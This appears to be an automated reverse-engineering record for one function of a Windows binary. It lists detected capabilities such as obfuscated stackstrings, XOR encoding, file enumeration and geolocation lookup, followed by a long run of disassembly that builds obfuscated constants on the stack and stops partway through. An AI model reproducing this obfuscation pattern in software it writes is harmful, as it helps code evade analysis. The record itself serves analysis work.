Function at 0x1400529d0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Enumerate files on windows
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get file version info
Get geographical location
Get thread local storage value
Identify system language via api
Move file
Parse pe header
Query environment variable
Read file on windows
Set current directory
Set thread local storage value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2c008
call fcn.14026ebf0
sub rsp, rax
mov dword [rsp + 0x4d74], 0xa0a5004a
mov eax, 0x75b2
mov word [rsp + 0x1030], ax
mov dword [rsp + 0x4d78], 0x3553a140
movabs rax, 0x27c0085d83ca0fc7
mov qword [rsp + 0x8ea8], rax
movabs rax, 0x13ec1e93daad5f50
mov qword [rsp + 0x8eb0], rax
mov eax, 0x8a2
mov word [rsp + 0x1034], ax
mov dword [rsp + 0x4d7c], 0x6a3301db
mov byte [rsp + 0x50], 0x42
mov eax, 0x2f4
mov word [rsp + 0x1038], ax
movabs rax, 0x4536d47bc4ed3105
mov qword [rsp + 0x8eb8], rax
mov dword [rsp + 0x4d80], 0x6f686860
mov byte [rsp + 0x51], 7
mov dword [rsp + 0x4d84], 0x4c4a0a72
mov byte [rsp + 0x52], 0x73
mov byte [rsp + 0x53], 0xe3
mov eax, 0xa34
mov word [rsp + 0x103c], ax
mov eax, 0x9ec
mov word [rsp + 0x1040], ax
mov dword [rsp + 0x4d88], 0xbac2aa30
movabs rax, 0x87adb3e398a97637
mov qword [rsp + 0x8ec0], rax
mov byte [rsp + 0x54], 0x11
mov dword [rsp + 0x4d8c], 0x78c6095f
mov eax, 0xbf8
mov word [rsp + 0x1044], ax
mov byte [rsp + 0x55], 0x6b
mov eax, 0x784f
mov word [rsp + 0x1048], ax
movabs rax, 0x168ae1d14a5aef83
mov qword [rsp + 0x8ec8], rax
mov byte [rsp + 0x56], 0x1a
mov byte [rsp + 0x57], 0x1e
mov eax, 0x7c7e
mov word [rsp + 0x104c], ax
mov eax, 0x4ecc
mov word [rsp + 0x1050], ax
mov byte [rsp + 0x58], 0xb
mov eax, 0x634e
mov word [rsp + 0x1054], ax
mov dword [rsp + 0x4d90], 0x3c2bb6da
movabs rax, 0x163cf23a063c3871
mov qword [rsp + 0x8ed0], rax
mov eax, 0x5a11
mov word [rsp + 0x1058], ax
mov eax, 0x7d00
mov word [rsp + 0x105c], ax
movabs rax, 0x6b60ef94411b8242
mov qword [rsp + 0x8ed8], rax
mov eax, 0x11b0
mov word [rsp + 0x1060], ax
movabs rax, 0xa0b21d2e9cd9b2a
mov qword [rsp + 0x8ee0], rax
mov byte [rsp + 0x59], 0xb3
mov eax, 0xc9
mov word [rsp + 0x1064], ax
mov eax, 0x506e
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x4d94], 0xa1b7c36
movabs rax, 0x7c604c263490d644
mov qword [rsp + 0x8ee8], rax
mov dword [rsp + 0x4d98], 0x153973ae
movabs rax, 0x39ee154ebb5ed442
mov qword [rsp + 0x8ef0], rax
movabs rax, 0x4b30f1c0fa478146
mov qword [rsp + 0x8ef8], rax
mov eax, 0xdef
mov word [rsp + 0x106c], ax
mov dword [rsp + 0x4d9c], 0x2c37e6a1
mov eax, 0x2162
mov word [rsp + 0x1070], ax
mov eax, 0x35e7
mov word [rsp + 0x1074], ax
mov dword [rsp + 0x4da0], 0x277597e7
movabs rax, 0xa1ac5c82e03ec208
mov qword [rsp + 0x8f00], rax
mov byte [rsp + 0x5a], 0x7e
mov eax, 0x9c1
mov word [rsp + 0x1078], ax
mov dword [rsp + 0x4da4], 0x8ca45b37
mov byte [rsp + 0x5b], 0xf6
mov eax, 0x3b2b
mov word [rsp + 0x107c], ax
movabs rax, 0x28dd68855f04598
mov qword [rsp + 0x8f08], rax
movabs rax, 0x61f3af2b4695a4b3
mov qword [rsp + 0x8f10], rax
mov byte [rsp + 0x5c], 0x27
movabs rax, 0x35635ad727ec4d5b
mov qword [rsp + 0x8f18], rax
mov eax, 0xc4e
mov word [rsp + 0x1080], ax
mov eax, 0x69a2
mov word [rsp + 0x1084], ax
mov eax, 0x56d2
mov word [rsp + 0x1088], ax
mov dword [rsp + 0x4da8], 0xf9ba04fc
mov dword [rsp + 0x4dac], 0x2eddc369
mov eax, 0x191c
mov word [rsp + 0x108c], ax
movabs rax, 0xefe20a4a47bd294
mov qword [rsp + 0x8f20], rax
mov eax, 0xbf6
mov word [rsp + 0x1090], ax
mov eax, 0x3f66
mov word [rsp + 0x1094], ax
mov eax, 0xd27
mov word [rsp + 0x1098], ax
movabs rax, 0x66565414961c84fe
mov qword [rsp + 0x8f28], rax
mov dword [rsp + 0x4db0], 0xbc904f59
movabs rax, 0x19b0f46d2e4e756
mov qword [rsp + 0x8f30], rax
mov byte [rsp + 0x5d], 0x71
mov byte [rsp + 0x5e], 0x24
mov eax, 0x6070
mov word [rsp + 0x109c], ax
mov byte [rsp + 0x5f], 0x29
movabs rax, 0x539bb199bebe788
mov qword [rsp + 0x8f38], rax
mov dword [rsp + 0x4db4], 0x21bab3e7
mov dword [rsp + 0x4db8], 0x1e70b53
movabs rax, 0x44852aa75fffeef
mov qword [rsp + 0x8f40], rax
mov dword [rsp + 0x4dbc], 0x17387f99
movabs rax, 0x4cf1208d492e62ce
mov qword [rsp + 0x8f48], rax
mov byte [rsp + 0x60], 0x77
mov byte [rsp + 0x61], 0x6a
mov dword [rsp + 0x4dc0], 0x4857aad2
mov eax, 0x4ee
mov word [rsp + 0x10a0], ax
mov byte [rsp + 0x62], 0x13
mov byte [rsp + 0x63], 0x41
mov eax, 0x4aea
mov word [rsp + 0x10a4], ax
mov dword [rsp + 0x4dc4], 0x7fd79968
mov eax, 0x524
mov word [rsp + 0x10a8], ax
movabs rax, 0xc583862cb2f188
mov qword [rsp + 0x8f50], rax
movabs rax, 0x20ef82e68717a410
mov qword [rsp + 0x8f58], rax
mov byte [rsp + 0x64], 0x57
mov eax, 0x263a
mov word [rsp + 0x10ac], ax
mov byte [rsp + 0x65], 0x11
mov byte [rsp + 0x66], 0xd
movabs rax, 0x267d7d514d76b603
mov qword [rsp + 0x8f60], rax
mov dword [rsp + 0x4dc8], 0x654b3b27
mov byte [rsp + 0x67], 0x64
mov dword [rsp + 0x4dcc], 0x140661c4
mov eax, 0xd50
mov word [rsp + 0x10b0], ax
mov dword [rsp + 0x4dd0], 0x7f1aa95b
movabs rax, 0x4e19a9f827378742
mov qword [rsp + 0x8f68], rax
mov eax, 0x69bd
mov word [rsp + 0x10b4], ax
mov eax, 0x42a6
mov word [rsp + 0x10b8], ax
mov byte [rsp + 0x68], 0x28
mov eax, 0x70b1
mov word [rsp + 0x10bc], ax
movabs rax, 0x40fcc37b7d661b90
mov qword [rsp + 0x8f70], rax
mov byte [rsp + 0x69], 0x55
movabs rax, 0xca4f17419cc97b52
mov qword [rsp + 0x8f78], rax
mov dword [rsp + 0x4dd4], 0x8d403fb6
movabs rax, 0x43ee648f69366a71
mov qword [rsp + 0x8f80], rax
movabs rax, 0xc0308b0d4c289edb
mov qword [rsp + 0x8f88], rax
mov eax, 0x41b
mov word [rsp + 0x10c0], ax
movabs rax, 0xbbc79e6b629cbb18
mov qword [rsp + 0x8f90], rax
movabs rax, 0x36dcef55fb682fd5
mov qword [rsp + 0x8f98], rax
mov eax, 0x581
mov word [rsp + 0x10c4], ax
movabs rax, 0x798511ed2c4bc921
mov qword [rsp + 0x8fa0], rax
movabs rax, 0x5e75a7330f45d73e
mov qword [rsp + 0x8fa8], rax
mov byte [rsp + 0x6a], 0x11
mov eax, 0x556
mov word [rsp + 0x10c8], ax
mov eax, 0x6b6
mov word [rsp + 0x10cc], ax
movabs rax, 0x18b622f60e84da9d
mov qword [rsp + 0x8fb0], rax
mov eax, 0x4fa
mov word [rsp + 0x10d0], ax
movabs rax, 0xdd7b127c100f48a
mov qword [rsp + 0x8fb8], rax
mov byte [rsp + 0x6b], 0xd
movabs rax, 0x4256ad8f69dc095d
mov qword [rsp + 0x8fc0], rax
mov dword [rsp + 0x4dd8], 0x3a3fac33
mov dword [rsp + 0x4ddc], 0xab1acfc1
movabs rax, 0xcd2f45691490d01
mov qword [rsp + 0x8fc8], rax
mov byte [rsp + 0x6c], 9
movabs rax, 0xcbb05c5b4b6531f
mov qword [rsp + 0x8fd0], rax
mov eax, 0xbda
mov word [rsp + 0x10d4], ax
movabs rax, 0x4d8d5619c90cb8db
mov qword [rsp + 0x8fd8], rax
mov byte [rsp + 0x6d], 0xa6
mov dword [rsp + 0x4de0], 0x3a22ad61
movabs rax, 0xa1d076b851e4d3e
mov qword [rsp + 0x8fe0], rax
mov byte [rsp + 0x6e], 5
mov eax, 0xea4
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x4de4], 0x73cbaa2b
mov byte [rsp + 0x6f], 0x3a
movabs rax, 0x94517da44518cbe
mov qword [rsp + 0x8fe8], rax
mov dword [rsp + 0x4de8], 0x7f2a2763
movabs rax, 0x75448024ac6d1208
mov qword [rsp + 0x8ff0], rax
movabs rax, 0xa421e4f8ecf289f0
mov qword [rsp + 0x8ff8], rax
movabs rax, 0x1604b4e91116ee36
mov qword [rsp + 0x9000], rax
mov byte [rsp + 0x70], 5
movabs rax, 0xb05b2420736a57b2
mov qword [rsp + 0x9008], rax
mov dword [rsp + 0x4dec], 0x979e68e
mov dword [rsp + 0x4df0], 0x6f863228
mov dword [rsp + 0x4df4], 0x4ca3fe12
mov dword [rsp + 0x4df8], 0x62d1ea56
movabs rax, 0xaf19d1a8206e676f
mov qword [rsp + 0x9010], rax
mov dword [rsp + 0x4dfc], 0xef682901
mov eax, 0xcb6
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x4e00], 0xd8663e37
movabs rax, 0xc749eac85ff32d32
mov qword [rsp + 0x9018], rax
mov eax, 0xfd7
mov word [rsp + 0x10e0], ax
mov dword [rsp + 0x4e04], 0x45482310
mov dword [rsp + 0x4e08], 0x71157c5
mov eax, 0x723
mov word [rsp + 0x10e4], ax
mov dword [rsp + 0x4e0c], 0x4eb82ddb
mov dword [rsp + 0x4e10], 0x78327330
mov byte [rsp + 0x71], 0x18
mov eax, 0xdc7
mov word [rsp + 0x10e8], ax
mov byte [rsp + 0x72], 0x14
mov eax, 0xbcd
mov word [rsp + 0x10ec], ax
mov byte [rsp + 0x73], 0x3c
mov eax, 0x1d15
mov word [rsp + 0x10f0], ax
mov dword [rsp + 0x4e14], 0x515feac8
mov eax, 0x421f
mov word [rsp + 0x10f4], ax
mov dword [rsp + 0x4e18], 0x7e19548a
mov eax, 0x33b
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0x74], 0x6a
mov eax, 0x7a95
mov word [rsp + 0x10fc], ax
movabs rax, 0x22585a92e7ee1480
mov qword [rsp + 0x9020], rax
mov dword [rsp + 0x4e1c], 0xbd30983f
mov eax, 0x4106
mov word [rsp + 0x1100], ax
mov byte [rsp + 0x75], 0x75
mov dword [rsp + 0x4e20], 0x671e7789
mov dword [rsp + 0x4e24], 0x9022f5f9
mov byte [rsp + 0x76], 0xf
mov eax, 0x53a
mov word [rsp + 0x1104], ax
movabs rax, 0xf9d7c76ccdc2f857
mov qword [rsp + 0x9028], rax
mov dword [rsp + 0x4e28], 0xa96136c
mov byte [rsp + 0x77], 0x8f
mov byte [rsp + 0x78], 0x7f
mov eax, 0x2903
mov word [rsp + 0x1108], ax
movabs rax, 0xddbbd28b0eff5541
mov qword [rsp + 0x9030], rax
mov dword [rsp + 0x4e2c], 0x728560c5
mov byte [rsp + 0x79], 0x22
mov byte [rsp + 0x7a], 0x71
mov dword [rsp + 0x4e30], 0x90bdb571
movabs rax, 0xbef3afcda4c53cc
mov qword [rsp + 0x9038], rax
mov byte [rsp + 0x7b], 0x4f
mov eax, 0x7713
mov word [rsp + 0x110c], ax
mov byte [rsp + 0x7c], 0xa
movabs rax, 0xd89d8388a4a59fc8
mov qword [rsp + 0x9040], rax
mov byte [rsp + 0x7d], 0x69
mov dword [rsp + 0x4e34], 0x549b52e0
movabs rax, 0x6bdb19321958db4
mov qword [rsp + 0x9048], rax
mov byte [rsp + 0x7e], 0x86
mov dword [rsp + 0x4e38], 0xbac520e2
mov byte [rsp + 0x7f], 0x57
mov byte [rsp + 0x80], 0x56
mov dword [rsp + 0x4e3c], 0x443e0b
mov eax, 0xd17
mov word [rsp + 0x1110], ax
mov byte [rsp + 0x81], 0x2f
mov byte [rsp + 0x82], 0x70
mov byte [rsp + 0x83], 0x6a
mov dword [rsp + 0x4e40], 0x488e7e5f
mov byte [rsp + 0x84], 0x4d
mov byte [rsp + 0x85], 0x61
mov dword [rsp + 0x4e44], 0x4915ab89
mov eax, 0x8cd
mov word [rsp + 0x1114], ax
mov byte [rsp + 0x86], 0x1e
mov byte [rsp + 0x87], 0x49
mov eax, 0x6814
mov word [rsp + 0x1118], ax
mov eax, 0xc55
mov word [rsp + 0x111c], ax
mov dword [rsp + 0x4e48], 0x2dec4afc
mov byte [rsp + 0x88], 0xf0
mov byte [rsp + 0x89], 0xec
mov byte [rsp + 0x8a], 0x95
mov dword [rsp + 0x4e4c], 0x12c229d0
mov dword [rsp + 0x4e50], 0xde921f1a
mov eax, 0xd06
mov word [rsp + 0x1120], ax
mov eax, 0x75f
mov word [rsp + 0x1124], ax
mov eax, 0x3c4e
mov word [rsp + 0x1128], ax
mov eax, 0x134a
mov word [rsp + 0x112c], ax
mov dword [rsp + 0x4e54], 0x48e44fc9
movabs rax, 0x5107d2374dcffa38
mov qword [rsp + 0x9050], rax
mov byte [rsp + 0x8b], 0x41
movabs rax, 0x2eaac7cadf40ade4
mov qword [rsp + 0x9058], rax
mov byte [rsp + 0x8c], 0x77
mov eax, 0x33b
mov word [rsp + 0x1130], ax
mov byte [rsp + 0x8d], 0x8c
mov dword [rsp + 0x4e58], 0x7367ff74
mov eax, 0x2126
mov word [rsp + 0x1134], ax
movabs rax, 0x78e530781dd0a02f
mov qword [rsp + 0x9060], rax
movabs rax, 0x492df3ce4338f1eb
mov qword [rsp + 0x9068], rax
movabs rax, 0x11d6d21bb9107994
mov qword [rsp + 0x9070], rax
movabs rax, 0x80ff1751c37f1afb
mov qword [rsp + 0x9078], rax
mov eax, 0x69d
mov word [rsp + 0x1138], ax
mov dword [rsp + 0x4e5c], 0x9fc37d3b
mov eax, 0x1ba
mov word [rsp + 0x113c], ax
mov eax, 0xc1d
mov word [rsp + 0x1140], ax
movabs rax, 0x1aa9f90fce3f9f3c
mov qword [rsp + 0x9080], rax
mov dword [rsp + 0x4e60], 0x6e8ed1f
mov byte [rsp + 0x8e], 0x8c
movabs rax, 0x189cecd2b77751b8
mov qword [rsp + 0x9088], rax
movabs rax, 0xcc46067e82c263c4
mov qword [rsp + 0x9090], rax
mov byte [rsp + 0x8f], 0x5c
mov eax, 0xb04
mov word [rsp + 0x1144], ax
mov dword [rsp + 0x4e64], 0x2306257f
movabs rax, 0x7e0bd31bdc26f2fa
mov qword [rsp + 0x9098], rax
movabs rax, 0x2ddd245f82bcbf0c
mov qword [rsp + 0x90a0], rax
movabs rax, 0x1fc4a6b3877ead50
mov qword [rsp + 0x90a8], rax
mov eax, 0x59e
mov word [rsp + 0x1148], ax
mov eax, 0x1b1e
mov word [rsp + 0x114c], ax
movabs rax, 0x1b9a792559806ec6
mov qword [rsp + 0x90b0], rax
mov dword [rsp + 0x4e68], 0x717550d5
mov byte [rsp + 0x90], 0x49
mov eax, 0x96e
mov word [rsp + 0x1150], ax
mov dword [rsp + 0x4e6c], 0x78564958
mov dword [rsp + 0x4e70], 0x64c583bc
mov eax, 0x2b18
mov word [rsp + 0x1154], ax
mov dword [rsp + 0x4e74], 0x781606e9
mov byte [rsp + 0x91], 0x76
mov dword [rsp + 0x4e78], 0x3735ee33
mov eax, 0x3f7
mov word [rsp + 0x1158], ax
mov eax, 0xa04
mov word [rsp + 0x115c], ax
mov dword [rsp + 0x4e7c], 0x4c498c8d
mov dword [rsp + 0x4e80], 0x42e3c803
movabs rax, 0x26e14c7616641ab7
mov qword [rsp + 0x90b8], rax
mov byte [rsp + 0x92], 0x40
mov byte [rsp + 0x93], 0x6a
movabs rax, 0x184bbdc75e20af3f
mov qword [rsp + 0x90c0], rax
mov byte [rsp + 0x94], 0x63
movabs rax, 0x7b86ac0d29158498
mov qword [rsp + 0x90c8], rax
mov byte [rsp + 0x95], 0x15
mov dword [rsp + 0x4e84], 0x5726dad4
mov dword [rsp + 0x4e88], 0x1ad0d2f3
mov byte [rsp + 0x96], 0xb
movabs rax, 0x5c25d6fc8f622930
mov qword [rsp + 0x90d0], rax
mov eax, 0x6452
mov word [rsp + 0x1160], ax
mov byte [rsp + 0x97], 0x4b
mov eax, 0xdd7
mov word [rsp + 0x1164], ax
movabs rax, 0x62024040e4d0f515
mov qword [rsp + 0x90d8], rax
mov eax, 0x662
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x4e8c], 0xcd6e0bbf
movabs rax, 0x1615a3f0c2e870b7
mov qword [rsp + 0x90e0], rax
movabs rax, 0x768998e1635b02a9
mov qword [rsp + 0x90e8], rax
mov eax, 0x1ac
mov word [rsp + 0x116c], ax
mov dword [rsp + 0x4e90], 0x4c8ec526
mov byte [rsp + 0x98], 0x5f
mov eax, 0x2b
mov word [rsp + 0x1170], ax
mov byte [rsp + 0x99], 0x48
movabs rax, 0x4ef8a067aacc20a2
mov qword [rsp + 0x90f0], rax
mov byte [rsp + 0x9a], 1
mov dword [rsp + 0x4e94], 0x1c35a255
mov byte [rsp + 0x9b], 0x82
movabs rax, 0x7e1512c6cb2fc033
mov qword [rsp + 0x90f8], rax
mov byte [rsp + 0x9c], 0xcf
mov eax, 0x4ac8
mov word [rsp + 0x1174], ax
mov eax, 0x987
mov word [rsp + 0x1178], ax
mov byte [rsp + 0x9d], 0x21
mov dword [rsp + 0x4e98], 0x3fd77ee5
mov eax, 0x2b
mov word [rsp + 0x117c], ax
mov dword [rsp + 0x4e9c], 0x2be3c532
mov byte [rsp + 0x9e], 0x5c
mov dword [rsp + 0x4ea0], 0xa42bc6b7
mov eax, 0xd6
mov word [rsp + 0x1180], ax
mov byte [rsp + 0x9f], 0x28
mov dword [rsp + 0x4ea4], 0xaf4cd4b0
mov dword [rsp + 0x4ea8], 0xbe9064b
movabs rax, 0x5bcab70cbd868e71
mov qword [rsp + 0x9100], rax
mov eax, 0x676
mov word [rsp + 0x1184], ax
movabs rax, 0x3cbc57fb8ba1c451
mov qword [rsp + 0x9108], rax
mov eax, 0x55c5
mov word [rsp + 0x1188], ax
mov byte [rsp + 0xa0], 0xcb
mov byte [rsp + 0xa1], 0xf
mov byte [rsp + 0xa2], 0xde
mov eax, 0x44a
mov word [rsp + 0x118c], ax
mov dword [rsp + 0x4eac], 0x27d20589
mov dword [rsp + 0x4eb0], 0x99921e8a
mov dword [rsp + 0x4eb4], 0x7504d033
movabs rax, 0x5bbff8c3df785886
mov qword [rsp + 0x9110], rax
mov byte [rsp + 0xa3], 0xbe
movabs rax, 0x82f58f6f08f44940
mov qword [rsp + 0x9118], rax
mov byte [rsp + 0xa4], 0x69
mov dword [rsp + 0x4eb8], 0x65afa97d
mov byte [rsp + 0xa5], 0x14
movabs rax, 0x5ae3aa08bf49410
mov qword [rsp + 0x9120], rax
movabs rax, 0x1dab6db64d463571
mov qword [rsp + 0x9128], rax
mov byte [rsp + 0xa6], 0x57
mov byte [rsp + 0xa7], 0x66
mov eax, 0x858
mov word [rsp + 0x1190], ax
mov eax, 0xa2f
mov word [rsp + 0x1194], ax
mov dword [rsp + 0x4ebc], 0x779c4de5
mov eax, 0xed9
mov word [rsp + 0x1198], ax
movabs rax, 0xbfaa7bee24c40d8a
mov qword [rsp + 0x9130], rax
movabs rax, 0x7b75617d0a74c37f
mov qword [rsp + 0x9138], rax
movabs rax, 0x58a967e25f460c51
mov qword [rsp + 0x9140], rax
mov byte [rsp + 0xa8], 0x29
movabs rax, 0xb0a0f04e8369f91c
mov qword [rsp + 0x9148], rax
mov byte [rsp + 0xa9], 0xfa
mov dword [rsp + 0x4ec0], 0x3056c455
mov eax, 0xb6c
mov word [rsp + 0x119c], ax
movabs rax, 0x72687773db33633b
mov qword [rsp + 0x9150], rax
mov dword [rsp + 0x4ec4], 0x542c1b13
movabs rax, 0x6f8e410227453837
mov qword [rsp + 0x9158], rax
mov byte [rsp + 0xaa], 1
movabs rax, 0x70dbd4c54f966b7
mov qword [rsp + 0x9160], rax
movabs rax, 0x6c92256abd4fa0b
mov qword [rsp + 0x9168], rax
mov eax, 0x6fa
mov word [rsp + 0x11a0], ax
mov dword [rsp + 0x4ec8], 0xedf56bd0
movabs rax, 0xc1de7f72987a1299
mov qword [rsp + 0x9170], rax
mov eax, 0xb8a
mov word [rsp + 0x11a4], ax
mov eax, 0x41c5
mov word [rsp + 0x11a8], ax
mov byte [rsp + 0xab], 0x5b
mov byte [rsp + 0xac], 0x94
mov byte [rsp + 0xad], 0xc1
movabs rax, 0x42fe9dcc263e3279
mov qword [rsp + 0x9178], rax
mov byte [rsp + 0xae], 0xc5
mov byte [rsp + 0xaf], 0x12
movabs rax, 0x9e238fe664cf2518
mov qword [rsp + 0x9180], rax
movabs rax, 0x6c2ad3ef1b19bbe6
mov qword [rsp + 0x9188], rax
mov byte [rsp + 0xb0], 0x1f
mov eax, 0x275
mov word [rsp + 0x11ac], ax
mov dword [rsp + 0x4ecc], 0x2ce72189
mov byte [rsp + 0xb1], 0x4b
mov eax, 0x5f1
mov word [rsp + 0x11b0], ax
movabs rax, 0x6dacaec3ba35c060
mov qword [rsp + 0x9190], rax
mov eax, 0x7406
mov word [rsp + 0x11b4], ax
mov byte [rsp + 0xb2], 0xa1
mov eax, 0x124
mov word [rsp + 0x11b8], ax
mov eax, 0xf17
mov word [rsp + 0x11bc], ax
mov byte [rsp + 0xb3], 0x62
mov dword [rsp + 0x4ed0], 0xbe0dfda
mov byte [rsp + 0xb4], 0x45
mov dword [rsp + 0x4ed4], 0x3e06a8bd
movabs rax, 0xc9a38cd098118e08
mov qword [rsp + 0x9198], rax
mov dword [rsp + 0x4ed8], 0x2dff190
mov eax, 0x4d0e
mov word [rsp + 0x11c0], ax
mov dword [rsp + 0x4edc], 0x23929696
movabs rax, 0x51d67b79e2156c2d
mov qword [rsp + 0x91a0], rax
mov dword [rsp + 0x4ee0], 0x6e7a0ebf
mov byte [rsp + 0xb5], 0x36
movabs rax, 0x18c1611b92f25005
mov qword [rsp + 0x91a8], rax
mov eax, 0xcb8
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x4ee4], 0x5b82f10b
movabs rax, 0x31bcf4773fbdf661
mov qword [rsp + 0x91b0], rax
movabs rax, 0x40b10696e7dd8cfb
mov qword [rsp + 0x91b8], rax
mov eax, 0xb1a
mov word [rsp + 0x11c8], ax
mov dword [rsp + 0x4ee8], 0x65ee6cef
mov byte [rsp + 0xb6], 0xe2
mov dword [rsp + 0x4eec], 0xc11cf08
movabs rax, 0xee4edfeca54c668d
mov qword [rsp + 0x91c0], rax
mov dword [rsp + 0x4ef0], 0x188f8829
mov dword [rsp + 0x4ef4], 0x9a89ffd
mov byte [rsp + 0xb7], 0xa8
mov dword [rsp + 0x4ef8], 0x29244d0f
movabs rax, 0xe92572f22b2fabad
mov qword [rsp + 0x91c8], rax
mov byte [rsp + 0xb8], 0x77
mov dword [rsp + 0x4efc], 0xcff21a12
mov eax, 0x2d65
mov word [rsp + 0x11cc], ax
mov dword [rsp + 0x4f00], 0x6fc1e873
mov eax, 0x61b
mov word [rsp + 0x11d0], ax
mov dword [rsp + 0x4f04], 0x14050286
mov byte [rsp + 0xb9], 0x77
movabs rax, 0xb6373e76eada1650
mov qword [rsp + 0x91d0], rax
mov dword [rsp + 0x4f08], 0xb68d71fe
mov dword [rsp + 0x4f0c], 0x675354c2
mov eax, 0x17
mov word [rsp + 0x11d4], ax
mov dword [rsp + 0x4f10], 0x7f8f95f8
mov dword [rsp + 0x4f14], 0xbd9ab090
mov eax, 0x334b
mov word [rsp + 0x11d8], ax
mov dword [rsp + 0x4f18], 0x87f49c0e
mov byte [rsp + 0xba], 0x53
mov dword [rsp + 0x4f1c], 0x8db38eb
mov byte [rsp + 0xbb], 0xa3
movabs rax, 0xc3ed069ed2f025d0
mov qword [rsp + 0x91d8], rax
mov dword [rsp + 0x4f20], 0x44577f0d
mov dword [rsp + 0x4f24], 0x2ca8f4ad
mov byte [rsp + 0xbc], 0x2f
movabs rax, 0x4bc7ce2c2680ad46
mov qword [rsp + 0x91e0], rax
mov byte [rsp + 0xbd], 0x61
mov dword [rsp + 0x4f28], 0x799e0234
mov byte [rsp + 0xbe], 0xe
mov eax, 0xa0d
mov word [rsp + 0x11dc], ax
mov byte [rsp + 0xbf], 0x1c
movabs rax, 0x4e85c86e30797c2e
mov qword [rsp + 0x91e8], rax
mov eax, 0x7f45
mov word [rsp + 0x11e0], ax
mov byte [rsp + 0xc0], 0x49
mov dword [rsp + 0x4f2c], 0xc35560c5
mov dword [rsp + 0x4f30], 0x67ce6210
mov byte [rsp + 0xc1], 0x42
mov eax, 0x2fc8
mov word [rsp + 0x11e4], ax
mov byte [rsp + 0xc2], 0x82
movabs rax, 0x714c88618578fc0d
mov qword [rsp + 0x91f0], rax
mov byte [rsp + 0xc3], 0x99
mov byte [rsp + 0xc4], 0xa5
mov dword [rsp + 0x4f34], 0x6f210dea
mov byte [rsp + 0xc5], 0x7f
mov eax, 0x9b5
mov word [rsp + 0x11e8], ax
movabs rax, 0x50199459cd5c1eba
mov qword [rsp + 0x91f8], rax
mov byte [rsp + 0xc6], 0x63
mov byte [rsp + 0xc7], 0xca
mov byte [rsp + 0xc8], 0x1b
mov eax, 0x7f4
mov word [rsp + 0x11ec], ax
mov byte [rsp + 0xc9], 0x1a
mov byte [rsp + 0xca], 0xc
movabs rax, 0xe184b2598b72bacd
mov qword [rsp + 0x9200], rax
movabs rax, 0x4f541ae215cf7991
mov qword [rsp + 0x9208], rax
mov byte [rsp + 0xcb], 0x3c
mov byte [rsp + 0xcc], 0x6b
mov byte [rsp + 0xcd], 0x82
mov byte [rsp + 0xce], 0x36
mov byte [rsp + 0xcf], 0xf0
movabs rax, 0xafcd3121d3b244ca
mov qword [rsp + 0x9210], rax
mov dword [rsp + 0x4f38], 0xcab33027
mov eax, 0x65ab
mov word [rsp + 0x11f0], ax
movabs rax, 0x99cd987bf77adcf6
mov qword [rsp + 0x9218], rax
mov byte [rsp + 0xd0], 0xc0
movabs rax, 0x73f95575427a1c22
mov qword [rsp + 0x9220], rax
mov eax, 0x1a2
mov word [rsp + 0x11f4], ax
mov eax, 0x1da2
mov word [rsp + 0x11f8], ax
mov byte [rsp + 0xd1], 0x91
mov eax, 0x4d4d
mov word [rsp + 0x11fc], ax
mov dword [rsp + 0x4f3c], 0x1bdd1e2e
mov byte [rsp + 0xd2], 0x96
movabs rax, 0x148ad2722221312c
mov qword [rsp + 0x9228], rax
mov dword [rsp + 0x4f40], 0x69f66475
mov eax, 0x27ff
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x4f44], 0x7f80bb24
movabs rax, 0x7c16ec2eac28e75
mov qword [rsp + 0x9230], rax
mov dword [rsp + 0x4f48], 0xe8d933bf
mov eax, 0x1d7b
mov word [rsp + 0x1204], ax
mov byte [rsp + 0xd3], 0x64
mov byte [rsp + 0xd4], 8
mov eax, 0x78d2
mov word [rsp + 0x1208], ax
mov dword [rsp + 0x4f4c], 0x726b3634
mov dword [rsp + 0x4f50], 0xb733d1ae
mov dword [rsp + 0x4f54], 0x7afb3804
mov byte [rsp + 0xd5], 0x16
movabs rax, 0x1952097a3617aff7
mov qword [rsp + 0x9238], rax
movabs rax, 0x5ef997f9666720f
mov qword [rsp + 0x9240], rax
mov byte [rsp + 0xd6], 0x97
mov dword [rsp + 0x4f58], 0x3446c1f0
mov dword [rsp + 0x4f5c], 0xcde5fd0a
mov eax, 0x22fd
mov word [rsp + 0x120c], ax
mov byte [rsp + 0xd7], 0x47
mov eax, 0x4fd
mov word [rsp + 0x1210], ax
mov byte [rsp + 0xd8], 0x50
mov eax, 0xe95
mov word [rsp + 0x1214], ax
mov dword [rsp + 0x4f60], 0x3a3c3c1f
mov dword [rsp + 0x4f64], 0x7050df3
mov eax, 0xb67
mov word [rsp + 0x1218], ax
mov eax, 0x65b9
mov word [rsp + 0x121c], ax
mov eax, 0x9c4
mov word [rsp + 0x1220], ax
movabs rax, 0x43182cf202907249
mov qword [rsp + 0x9248], rax
mov dword [rsp + 0x4f68], 0x819f2fc7
mov dword [rsp + 0x4f6c], 0x581a9545
movabs rax, 0xb3c82ecb0ae1b367
mov qword [rsp + 0x9250], rax
mov byte [rsp + 0xd9], 0x40
mov byte [rsp + 0xda], 0x46
mov dword [rsp + 0x4f70], 0xb82fb43f
movabs rax, 0x53c04ad5d9ac9b2f
mov qword [rsp + 0x9258], rax
movabs rax, 0xfc4736ffd2c7ff32
mov qword [rsp + 0x9260], rax
mov eax, 0xfb0
mov word [rsp + 0x1224], ax
movabs rax, 0x53f31be2b6049e40
mov qword [rsp + 0x9268], rax
mov byte [rsp + 0xdb], 0xb3
mov dword [rsp + 0x4f74], 0x3544fc94
mov byte [rsp + 0xdc], 0x19
mov byte [rsp + 0xdd], 0x72
movabs rax, 0x1eb0079ac2c32355
mov qword [rsp + 0x9270], rax
mov dword [rsp + 0x4f78], 0x796c46c9
mov byte [rsp + 0xde], 0xc4
mov eax, 0x601e
mov word [rsp + 0x1228], ax
movabs rax, 0xa304eb47cc17b31
mov qword [rsp + 0x9278], rax
mov byte [rsp + 0xdf], 0xa5
